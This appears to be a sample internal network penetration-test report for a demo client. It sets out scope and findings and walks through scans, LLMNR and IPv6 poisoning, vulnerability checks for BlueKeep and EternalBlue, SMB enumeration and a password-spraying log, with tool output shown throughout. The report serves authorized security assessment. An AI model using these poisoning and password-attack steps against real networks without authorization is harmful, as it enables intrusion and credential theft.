SOLUTIONS FOR YOU
INFORMATION TECHNOLOGY

Internal Network Security Assessment

TECHNICAL REPORT

Demo Client

November 04, 2022

SFY.ca

SOLUTIONS FOR YOU
INFORMATION TECHNOLOGY

Copyright

© SFY . All Rights Reserved. This is unpublished material and contains trade secrets and other confidential information and is subject to a confidentiality agreement. The unauthorized possession, use, reproduction, distribution, display, or disclosure of this material or the information contained herein is prohibited.

The methodology used to audit the computer systems is considered proprietary intellectual information of SFY and may not be disclosed without written permission from SFY gives permission to copy this report for the purpose of disseminating information within your organization, or any regulatory agency.

Confidentiality

This document contains company confidential information of a proprietary and sensitive nature. As such, this document should be afforded the security and handling precautions that a confidential document warrants. This document should have a controlled distribution to relevant parties only and should not be copied without written permission. SFY treats the contents of a security audit as company confidential material and will not disclose the contents of this document to anyone without written permission.

Assessment Project Team

Below is a list of contacts that were involved in this engagement. Should you have any questions pertaining to the content of this document or any project and non-project-related items, please feel free to reach out to the necessary project contacts.

	Primary Point of Contact
Name:	Deven
Title:	Consultant
Office:	+1(877) 378-5694
Email:	deven@sfy.ca

Threat Severity Rankings

To assist the organization with prioritizing findings, the findings and observations have been categorized with threat severity rankings based on the following guidelines:

SEVERITY		DESCRIPTION
	Critical	A critical threat ranking requires immediate remediation or mitigation. Exploiting these vulnerabilities require a minimal amount of effort by the adversary but poses a significant threat to the confidentiality, integrity, and/or availability of the organization's systems and data. A successful compromise of findings of this ranking leads to access to multiple systems and/or several pieces of sensitive information.
	High	A high threat ranking requires immediate remediation or mitigation. Exploiting these vulnerabilities require a minimal amount of effort by the adversary but poses a significant threat to the confidentiality, integrity, or availability of the organization's systems or data. A successful compromise of findings of this ranking leads to access to a single access or limited sensitive information.
	Medium	A medium threat ranking requires remediation or mitigation within a short and reasonable amount of time. These findings typically lead to a compromise of non-privileged user accounts on systems and/or applications or denote a denial-of-service (DoS) condition of the host, service, or application.
	Low	A low threat ranking requires remediation or mitigation once all higher prioritized findings have been remediated. These findings typically leak information to unauthorized or anonymous users and may lead to more significant attacks when combined with other attack vectors.
	Informational	An informational threat ranking does not pose a significant threat to the environment and may just be findings that could potentially disclose valuable information but do not expose the organization to any technical attacks. Findings rated as informational may be useful for an attacker performing information gathering on the organization to leverage in other attacks, such as social engineering or phishing.

Discovered Threats

DISCOVERED THREATS	THREAT SEVERITY RANKINGS	
Internal Network Security Assessment (12)		
IPv6 DNS Spoofing		Critical
Link-Local Multicast Name Resolution (LLMNR) Spoofing		Critical
Outdated Microsoft Windows Systems		Critical
Password Document Stored in Network Share		High
Anonymous FTP Enabled		Medium
Insecure Protocol - FTP		Medium
Insecure Protocol - Telnet		Medium
LDAP Permits Anonymous Bind Access		Medium
SMB Signing Not Enabled		Medium
Weak Password Policy (lockout observation window)		Medium
Egress Filtering Deficiencies		Informational
High-Privileged Accounts Not Required to Change Password Often		Informational

MITRE ATT&CK Mappings

This section of the report contains details about the tactics, techniques, and procedures as defined by the MITRE ATT&CK Framework. For additional details relating to these tactics, techniques, and procedures (TTPs), SFY recommends that Demo Client visit the specific URLs provided within the table below. Furthermore, SFY has also elaborated on how these TTPs were used during the penetration test in this report's Penetration Test Narrative section.

SFY recommends Demo Client thoroughly leverage this report section to investigate and improve network security policies, procedures, and controls within the organization's environment. All of the attacks mentioned in this report section should have been detected and properly logged for investigation purposes by the organization.

MITRE | ATT&CK®

Time	Name	Tactic	TTPID

Engagement Scope of Work

Through discussions with Demo Client's staff, the following target applications, IP addresses, and/or ranges were included as part of the engagement scope.

IP ADDRESSES & RANGES			
10.100.1.0/24	10.100.2.0/24	10.100.3.0/24	10.100.3.0/24
10.100.4.0/24	10.100.5.0/24	10.100.6.0/24	10.100.7.0/24
10.100.20.0/24	10.100.31.0/24	10.100.32.0/24	10.100.33.0/24
10.100.34.0/24	10.100.35.0/24	192.168.2.0/24	192.168.204.0/24

Demo Client's IT staff also provided SFY with IP addresses and ranges to exclude. The following table displays the list of excluded systems.

EXCLUDED IP ADDRESSES & RANGES			
10.100.35.8	10.100.35.9	10.100.35.10	10.100.35.11
10.100.35.12	10.100.35.13	10.100.35.14	10.100.35.15
10.100.35.16	10.100.34.33	10.100.34.34	10.100.34.35
10.100.34.36	10.100.34.37	10.100.34.38	10.100.34.39
10.100.35.17	10.100.35.18	10.100.35.19	10.100.35.20
10.100.35.21	10.100.35.22	10.100.35.23	10.100.35.24
10.100.35.25	10.100.35.26	10.100.35.27	10.100.35.28
10.100.35.29	10.100.35.30	10.100.35.31	10.100.35.32
10.100.35.33	10.100.35.34	10.100.35.35	10.100.35.36
10.100.35.37	10.100.35.38	10.100.35.39	10.100.35.40
10.100.35.41	10.100.35.42	10.100.35.43	10.100.35.44
10.100.35.45	10.100.35.46	10.100.35.47	10.100.35.48
10.100.35.49	10.100.35.50		

Agent Information

To perform this assessment, SFY used an agent consisting of the necessary tools to conduct discovery, enumeration, attacks, etc. The agent used in this assessment contained the following information:

DESCRIPTION	DETAILS
Agent Name	Demo Agent
Private IP Address	

Task Performed

To assess the targets listed above fully, SFY performed the following tasks:

TASK PERFORMED	DEVICES/LOCATIONS ASSESSED
Performed information gathering: NSlookup, and Ping/SNMP sweeping	All targets
Performed port scans	All active targets identified

Performed vulnerability scanning	All active targets identified
Performed web application vulnerability testing	Active/Select targets
Performed vulnerability validation	All active targets identified
Performed penetration testing	Active/Select targets

Rules of Engagement

SFY and Demo Client agreed to the following rules of engagements:

ACTIVITY	DEFINITION	PERMISSION
Exploitation	SFY consultants will cautiously execute exploitation techniques to gain access to sensitive data and/or systems.	Permitted
Post Exploitation	If exploitation is successful, SFY will attempt to escalate privileges within the environment to gain further access to systems and/or data.	Permitted

Penetration Test Narrative

This phase of the internal network penetration test describes some of the action performed as part of the penetration test, including host discovery, enumeration, exploitation, and post-exploitation (if opportunities were identified). It should be noted that this portion of the report does not represent the entire list of activities that were performed as part of this assessment, primarily just those that led to some level of access, significant exposure to information, and other activities relevant to the goal of the assessment. It should also be noted that this portion of the test heavily focused on the network layer within the environment.

Host Discovery

The first process that was performed during the penetration test was host discovery. Host discovery includes several tasks, including port scanning and ping sweeps, to identify the active systems within the environment. This is a crucial step in the penetration test as it allows attackers to determine what systems are active within the targeted IP addresses and/or ranges.

Of the sixteen (16) IP addresses/ranges that were provided as part of the scope, SFY was able to identify a total of four hundred and seventy-eight (478) systems to be active within the targeted environment.

SFY also performed a port scan against four hundred and seventy-eight (478) targets to identify opened ports and running services. Port scanning is also important in that it allows one to identify which ports are opened and visible from the tested system. By discovering opened ports within the environment, it is then possible to determine which services are running and if any of the running services are vulnerable.

Of the four hundred and seventy-eight (478) addresses/ranges that were scanned, SFY found six hundred and ninety-four (694) ports opened.

Enumeration

After identifying the available hosts within the network, the next phase is to conduct enumeration. Enumeration consists of scanning the identified ports to determine what services are running. Additional scans are performed based on the running services to attempt enumerating information from the running services (if possible). Such information may be useful for identifying additional vulnerabilities or knowledge for performing an attack against the service.

To help understand the operating systems and ports that were found to be most common within the environment, the following tables display the top 10 operating systems and top 10 ports.

OPERATING SYSTEM	COUNT
Unknown	99
Undetected	60
Linux Kernel	58
Microsoft Windows 10	43
Microsoft Windows 10 Pro	37
Linux Kernel 2.6	35
AIX 4.3.2	29
Windows Server 2016 Standard 14393	9
iPhone or iPad	9
Microsoft Windows Server 2012 R2 Standard	8

PORT/PROTOCOL	COUNT
445/tcp	110

80/tcp	83
5353/udp	79
22/tcp	69
443/tcp	53
3389/tcp	52
5900/tcp	26
23/tcp	22
161/udp	21
1900/udp	19

The first step in the enumeration phase was the discovery of systems on the local subnet. SFY performed an arp-scan across the local network subnet to determine which systems are on the local subnet (10.100.2.51/24). This is also an important task as these systems would be targets for man-in-the-middle attacks since they are on the same subnet. To facilitate this task, SFY used a tool known as *arp-scan*. The following results demonstrate that twenty-nine (29) systems exists on the same local subnet:

```
Interface: enp0s17, type: EN10MB, MAC: 08:00:27:5e:3a:3a, IPv4: 10.100.2.51
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.100.2.5      00:01:e8:8b:24:82       Force10 Networks, Inc.
10.100.2.30     00:26:73:ab:8f:ce       RICOH COMPANY,LTD.
10.100.2.45     e0:63:da:59:07:a9       Ubiquiti Networks Inc.
10.100.2.49     90:b1:1c:61:26:05       Dell Inc.
10.100.2.53     d8:d0:90:21:16:4c       Dell Inc.
10.100.2.52     00:0c:29:cb:fe:c7       VMware, Inc.
10.100.2.54     54:bf:64:7f:41:f6       Dell Inc.
10.100.2.55     a4:1f:72:89:4b:46       Dell Inc.
10.100.2.56     e4:43:4b:f9:8c:98       Dell Inc.
10.100.2.57     e4:43:4b:fd:37:a0       Dell Inc.
10.100.2.58     e4:43:4b:fd:35:c8       Dell Inc.
10.100.2.59     00:0c:29:42:94:32       VMware, Inc.
10.100.2.60     e4:43:4b:f9:70:c4       Dell Inc.
10.100.2.61     d8:80:39:bd:5e:87       Microchip Technology Inc.
10.100.2.62     74:ac:b9:36:24:93       (Unknown)
10.100.2.63     00:0c:29:5c:6e:8f       VMware, Inc.
10.100.2.64     00:0c:29:a8:dc:f4       VMware, Inc.
10.100.2.65     34:48:ed:c8:36:88       (Unknown)
10.100.2.66     d0:67:e5:34:9c:2d       Dell Inc.
10.100.2.67     80:1f:12:a7:e7:84       Microchip Technology Inc.
10.100.2.70     cc:48:3a:7e:be:c0       (Unknown)
10.100.2.73     d8:80:39:bd:5e:9e       Microchip Technology Inc.
10.100.2.75     d8:80:39:bd:5d:c5       Microchip Technology Inc.
10.100.2.76     80:1f:12:1a:64:65       Microchip Technology Inc.
10.100.2.81     18:03:73:46:24:8b       Dell Inc.
10.100.2.82     a4:1f:72:89:3a:ce       Dell Inc.
10.100.2.83     a4:1f:72:89:48:a3       Dell Inc.
10.100.2.87     d0:76:58:45:a2:be       (Unknown)
10.100.2.93     a4:bb:6d:a6:74:65       Dell Inc.

66 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 3.109 seconds (82.34 hosts/sec). 29 responded
```

SFY attempted to perform a DNS poisoning attack by taking advantage of NetBIOS Name Service (NBNS) and Link-Local Multicast Name Resolution (LLMNR) broadcast traffic. When enabled on Microsoft Windows systems, DNS names that cannot be resolved by a system's configured DNS server or local hosts file will be communicated in the form of NBNS and/or LLMNR broadcast packets across the network environment. The problem with this configuration is that it is possible to respond to these broadcast packets and spoof the IP address of the DNS name in question. In other words, if SystemA is attempting to resolve www.helloworld.com and cannot find its IP address, an attacking system can pretend to be the IP address of www.helloworld.com. Upon a successful attack, it may be possible to capture cleartext or hashed credentials.

During testing, it was possible to conduct DNS poisoning attacks, as shown in the output below:

```
2021-01-11 23:29:22,712 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.63 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:22,902 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.64 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:23,217 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.63 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:23,219 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.63 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:23,411 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.64 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:23,412 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.64 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:23,883 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.52 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:24,297 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.59 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:24,388 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.52 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:24,389 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.52 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:24,801 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.59 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:24,802 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.59 for name [redacted]NLN1IU84VKS
2021-01-11 23:29:25,995 - [*] [MDNS] Poisoned answer sent to 10.100.2.83     for name proxysrv.local
2021-01-11 23:29:25,998 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.83 for name proxysrv
```

SFY also deployed a rogue IPv6 router within the environment to determine if it'd be possible to conduct IPv6 attacks. Since IPv6 is treated with higher priority than IPv4, any time a network device sees an IPv6 router available, it will attempt to retrieve an IPv6 address. An attacker can abuse this by deploying a rogue DHCPv6 server within the environment and assign all IPv6 clients with an IP address and DNS configurations that routes traffic through the attacker's system.

During testing, it was possible to re-assign IPv6 addresses to systems via this attack, as shown below:

```
IPv6 address fe80::9811:1 is now assigned to mac=e0:63:da:59:07:a9 host=UniFi-CloudKey-Gen2. ipv4=
Renew reply sent to fe80::9811:1
```

Testing of LDAP services identified that ten (10) systems were found to accept anonymous LDAP bind queries, which allows users to query information from within LDAP without proper authentication. This could allow for an attacker to gain valuable information about the Active Directory environment, such as domain information and possibly even usernames. The following sample output was obtained while scanning for this weakness:

```
Nmap scan report for 192.168.204.51
Host is up (0.0037s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   dn: cn=DSE Root
|       rootDomainNamingContext: dc=vsphere,dc=local
|       defaultNamingContext: dc=vsphere,dc=local
|       configurationNamingContext: cn=Configuration,dc=vsphere,dc=local
|       schemaNamingContext: cn=schemacontext
|       subSchemaSubEntry: cn=aggregate,cn=schemacontext
|       namingContexts: dc=vsphere,dc=local
|       serverName: cn=houpsc.[redacted].com,cn=Servers,cn=Default-First-Site,cn=Sites,cn=Configuration,dc=vsphere,dc=loca
l
|       vmwAdministratorDN: cn=Administrator,cn=Users,dc=vsphere,dc=local
|       vmwDCAccountDN: cn=houpsc.[redacted].com,ou=Domain Controllers,dc=vsphere,dc=local
|       vmwDCAccountUPN: houpsc.[redacted].com@VSPHERE.LOCAL
|       deletedObjectsContainer: cn=Deleted Objects,dc=vsphere,dc=local
|       msDS-SiteName: Default-First-Site
|       objectGUID: 30623730-3734-3038-2d66-3238662d3431
```

SFY identified thirty-nine (39) Telnet services within the environment. As Telnet is an insecure protocol, it could potentially expose sensitive information such as user credentials or device configuration information in a man-in-the-middle attack. The following scan results display some information that was discovered as a result of these scans:

```
[+] 10.100.1.30:23        - 10.100.1.30:23 TELNET SAVIN Maintenance Shell.   \x0a\x0dUser access verification.\x0a\x0dlogi
n:
[+] 10.100.2.30:23        - 10.100.2.30:23 TELNET SAVIN Maintenance Shell.   \x0a\x0dUser access verification.\x0a\x0dlogi
n:
[+] 10.100.3.30:23        - 10.100.3.30:23 TELNET SAVIN Maintenance Shell.   \x0a\x0dUser access verification.\x0a\x0dlogi
n:
[+] 10.100.1.25:23        - 10.100.1.25:23 TELNET Login:
[+] 10.100.3.25:23        - 10.100.3.25:23 TELNET Login:
```

```
[*] Scanned  5 of 39 hosts (12% complete)
[+] 10.100.5.30:23        - 10.100.5.30:23 TELNET SAVIN Maintenance Shell.   \x0a\x0dUser access verification.\x0a\x0dlogi
n:
[+] 10.100.5.25:23        - 10.100.5.25:23 TELNET Login:
[+] 10.100.5.58:23        - 10.100.5.58:23 TELNET \x1b[2J\x1b[1;1H\x0a\x0a\x0a         Copyright (c) 2004-2020 Hirschmann
 Automation and Control GmbH\x
[+] 192.168.204.10:23     - 192.168.204.10:23 TELNET Login:
[*] Scanned  9 of 39 hosts (23% complete)
```

Next, SFY identified one hundred and forty-one (141) systems that exposed port 3389/tcp, which hosts the Remote Desktop Protocol (RDP) service, and began enumerating information from these services. In particular, SFY attempted to identify if whether or not they would be vulnerable to a common vulnerability known as Bluekeep. Scans indentified twenty-three (23) vulnerable systems. However, did not attempt to exploit this vulnerability in the exploitation phase because there is a relatively high risk of denial-of-service (DoS) condition. The following output shows the results of this test:

```
[+] 192.168.204.58:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[+] 192.168.204.49:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[+] 192.168.204.62:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[-] 192.168.204.94:3389   - Server cert isn't RSA, this scenario isn't supported (yet).
[+] 192.168.204.67:3389   - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[*] Scanned  16 of 141 hosts (11% complete)
[+] 192.168.204.103:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[+] 192.168.204.104:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[+] 192.168.204.125:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[+] 192.168.204.133:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
[+] 192.168.204.145:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channe
l.
```

Testing of FTP services identified that sixteen (16) systems were found to accept anonymous FTP authentication credentials. Anonymous login credentials would allow for an attacker to identify files that may exist on an FTP server. If permissions allow for write access, an attacker could also attempt to use this to store malicious code. The following output displays the results of this FTP scan:

```
Nmap scan report for 10.100.1.30
Host is up (0.00054s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- root root 200 Jan  1 01:08 help
| -r--r--r-- root root 200 Jan  1 01:08 info
| -r--r--r-- root root 200 Jan  1 01:08 prnlog
| -r--r--r-- root root 200 Jan  1 01:08 stat
|_-r--r--r-- root root 200 Jan  1 01:08 syslog
```

To expedite searching for potentially sensitive files, a review of the anonymous FTP service(s) was performed and run against a list of predefined patterns to match sensitive file names. During this process, no sensitive files were discovered.

SFY identified two (2) MySQL services present within the tested environment. While this discovery does not indicate any significant issues were found, MySQL services are often targeted by attackers in a form of a password attack. A successful password attack will usually result in limited or elevated privileges to the SQL service, at which point an attacker can begin to run SQL commands or execute system level commands.

SFY also reviewed a list of seventeen (17) Microsoft SQL Server (MSSQL) services and conducted a limited password attack to determine if any weak or default credentials could be discovered. Weak credentials configured for an MSSQL

server could result in a significant amount of issues, including remote command execution. No servers were found to contain a weak or default credentials at the time of testing. The following code snippet shows sample output results from this scan:

```
[*] 192.168.204.67:1433   - 192.168.204.67:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.204.67:1433   - No active DB -- Credential data will not be saved!
[-] 192.168.204.67:1433   - 192.168.204.67:1433 - LOGIN FAILED: WORKSTATION\sa:password (Incorrect: )
[-] 192.168.204.67:1433   - 192.168.204.67:1433 - LOGIN FAILED: WORKSTATION\sa:sa (Incorrect: )
[-] 192.168.204.67:1433   - 192.168.204.67:1433 - LOGIN FAILED: WORKSTATION\sa: (Incorrect: )
[*] 192.168.204.103:1433  - 192.168.204.103:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.204.103:1433  - No active DB -- Credential data will not be saved!
[-] 192.168.204.103:1433  - 192.168.204.103:1433 - LOGIN FAILED: WORKSTATION\sa:password (Incorrect: )
[-] 192.168.204.103:1433  - 192.168.204.103:1433 - LOGIN FAILED: WORKSTATION\sa:sa (Incorrect: )
[-] 192.168.204.103:1433  - 192.168.204.103:1433 - LOGIN FAILED: WORKSTATION\sa: (Incorrect: )
[*] Scanned  2 of 17 hosts (11% complete)
```

Next, SFY identified one hundred and ninety-six (196) systems that exposed port 445/tcp, which is for the Server Message Block (SMB) service. This service was targeted for enumeration of information that may be valuable. One of the first things scanned during this process is the support for SMB signing. SMB signing, when enabled, helps mitigate against SMB relay attacks. SMB relay attacks are when an attacker performs a poisoning attack and tricks a vulnerable system into sending hashed authentication credentials to the attacker. The attacker then takes these hashed credentials and then *relays* them to another system, pivoting off of that authenticated session to perform additional attacks, such as remote command execution.

Testing identified that eighty-one (81) of the one hundred and ninety-six (196) systems did not have SMB signing turned on, therefore being vulnerable to SMB relay attacks. The following sample output from Nmap identified this weakness.

```
Nmap scan report for 192.168.204.52
Host is up (0.00050s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Nmap scan report for 192.168.204.54
Host is up (0.00050s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

SFY also identified forty-five (45) systems that used an outdated operating system. Outdated operating systems are those which are no longer supported by their vendor and could pose a significant threat to the environment due to their lack of security updates. The following output demonstrates an example of the outdated operating systems discovered:

```
[+] 192.168.204.63:445    -   Host is running Windows 2003 R2 SP2 (build:3790) (name:[redacted]ACC2) (domain:[redacted])
[+] 192.168.204.58:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]XENWEB1) (domain:
[redacted])
[+] 192.168.204.54:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]SERVER1) (domain:
[redacted])
[+] 192.168.204.49:445    -   Host is running Windows 2008 R2 Enterprise SP1 (build:7601) (name:DCEXCH02) (domain:[redacte
d])
[+] 192.168.204.52:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]DHCP) (domain:[red
acted])
[+] 192.168.204.67:445    -   Host is running Windows 2003 SP2 (build:3790) (name:[redacted]SQL1) (domain:[redacted])
```

```
[+] 192.168.204.62:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]CAD) (domain:[reda
cted])
[+] 192.168.204.94:445    -   Host is running Windows 2003 SP2 (build:3790) (name:[redacted]TS) (domain:[redacted])
[+] 192.168.204.79:445    -   Host is running Windows 2008 R2 Enterprise SP1 (build:7601) (name:[redacted]EXCH01) (domain:
[redacted])
[+] 192.168.204.91:445    -   Host is running Windows 2008 R2 Enterprise SP1 (build:7601) (name:[redacted]EXCH01) (domain:
[redacted])
[+] 192.168.204.110:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]XENTRAV2) (domain:
[redacted])
[+] 192.168.204.103:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]HSE1) (domain:[red
acted])
[+] 192.168.204.97:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]VCENTER) (domain:
[redacted])
[+] 192.168.204.125:445   -   Host is running Windows 2008 R2 Enterprise SP1 (build:7601) (name:DCEXCH01) (domain:[redacte
d])
[+] 192.168.204.104:445   -   Host is running Windows 2003 R2 SP2 (build:3790) (name:[redacted]SQL2) (domain:[redacted])
[+] 192.168.204.126:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]EXCHFRONT) (domai
n:[redacted])
[+] 192.168.204.141:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]PRINT64) (domain:
[redacted])
[+] 192.168.204.133:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]HSE1) (domain:[red
acted])
[+] 192.168.204.148:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]THERMOSTATS) (doma
in:[redacted])
[+] 192.168.204.160:445   -   Host is running Windows 2008 R2 Storage SP1 (build:7601) (name:[redacted]NAS) (domain:[redac
ted])
[+] 192.168.204.145:445   -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[redacted]XENUTIL1) (domain:
[redacted])
```

Next, to attempt identifying some common security vulnerabilities on outdated operating systems, SFY leveraged the Metasploit Framework to perform specific checks to determine if whether or not if the targeted system(s) were vulnerable. These vulnerabilities are often labeled as low-hanging fruit as they can easily provide full access to the compromised system if an exploit is successful.

Forty (40) systems were scanned using the ms08_067_netapi module to identify potential SMB vulnerabilities. This module attempts to discover systems that contain a common and old vulnerability that affects Microsoft Windows XP. When succesfully exploited, this vulnerability could allow an attacker with system-level privileges on the system, allowing them to perform several post-exploitation techniques. Such post-exploitation techniques include enumeration of local administrator password hashes, enumeration of Active Directory infrastructyure data, and more. Scans indicate that no systems were found to be vulnerable at the time of testing. The following results were obtained from this scan:

```
[*] 192.168.204.65:445 - Cannot reliably check exploitability.
[*] 192.168.204.52:445 - The target is not exploitable.
[*] 192.168.204.58:445 - The target is not exploitable.
[*] 192.168.204.54:445 - The target is not exploitable.
[*] 192.168.204.49:445 - The target is not exploitable.
[*] 192.168.204.60:445 - The target is not exploitable.
[*] 192.168.204.66:445 - The target is not exploitable.
[*] 192.168.204.62:445 - The target is not exploitable.
[*] 192.168.204.67:445 - The target is not exploitable.
[-] 192.168.204.78:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server resp
onded with error: STATUS_ACCESS_DENIED (Command=115 WordCount=0)
[-] 192.168.204.78:445 - Check failed: The state could not be determined.
```

Eighty-four (84) systems were scanned using the smb_ms17_010 module to identify potential SMB vulnerabilities. This module attempts to discover systems that contain a common vulnerability named EternalBlue. When succesfully exploited, this vulnerability could allow an attacker with system-level privileges on the system, allowing them to perform several post-exploitation techniques. Such post-exploitation techniques include enumeration of local administrator password hashes, enumeration of Active Directory infrastructyure data, and more. Scans results identified twelve (12) vulnerable systems. The following results were obtained from this scan:

```
[-] 192.168.204.65:445    - An SMB Login Error occurred while connecting to the IPC$ tree.
[-] 192.168.204.52:445    - Host does NOT appear vulnerable.
[-] 192.168.204.54:445    - Host does NOT appear vulnerable.
[-] 192.168.204.60:445    - Host does NOT appear vulnerable.
```

```
[+] 192.168.204.63:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 R2 3790 Service Pack 2 x86 (32-bi
t)
[-] 192.168.204.58:445    - Host does NOT appear vulnerable.
[-] 192.168.204.66:445    - Host does NOT appear vulnerable.
[-] 192.168.204.49:445    - Host does NOT appear vulnerable.
[+] 192.168.204.67:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
[-] 192.168.204.81:445    - An SMB Login Error occurred while connecting to the IPC$ tree.
[-] 192.168.204.78:445    - An SMB Login Error occurred while connecting to the IPC$ tree.
```

Additionally, an enumeration of SMB services was performed to attempt identifying if whether or not usernames, password policies, or additional computer and/or domain information could be obtained. Such information could be useful for performing a password attack against the environment. A sample output of one of the results is as follows:

```
 ==========================
|    Target Information    |
 ==========================
Target ........... 10.100.1.66
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ================================================
|    Enumerating Workgroup/Domain on 10.100.1.66    |
 ================================================
[E] Can't find workgroup/domain


 ========================================
|    Nbtstat Information for 10.100.1.66    |
 ========================================
Looking up status of 10.100.1.66
No reply from 10.100.1.66

 ====================================
|    Session Check on 10.100.1.66    |
 ====================================
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jan 11 21:43:50 2021

 ==========================
```

During testing, it was possible to extract valuable information from three (3) IP addresses. The following IP addresses were found to be leak excessive information via SMB:

- 192.168.204.138
- 192.168.204.60
- 192.168.204.66

The following table presents some statistics of the information captured while enumerating SMB services:

Enumerated Data via SMB	
Enumerated Domain User Accounts	0
Enumerated Local User Accounts	514
Enumerated Domain Groups	325
Enumerated First And Last Names	101
Enumerated Domain Computers	0

As mentioned above, SFY was able to identify usernames from enum4linux. As a result, a single password attack was conducted against each username to attempt identifying a valid set of credentials.

Of the five hundred and thirteen (513) authentication attempts, SFY identified a total of zero (0) successful attempts and five hundred and thirteen (513) failed attempts. The following output demonstrate some of the results from this password attack.

```
--snipped--
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
[-] 192.168.204.60:445    - 192.168.204.60:445 - Failed: '[redacted]\[redacted]:Password123!',
--snipped--
```

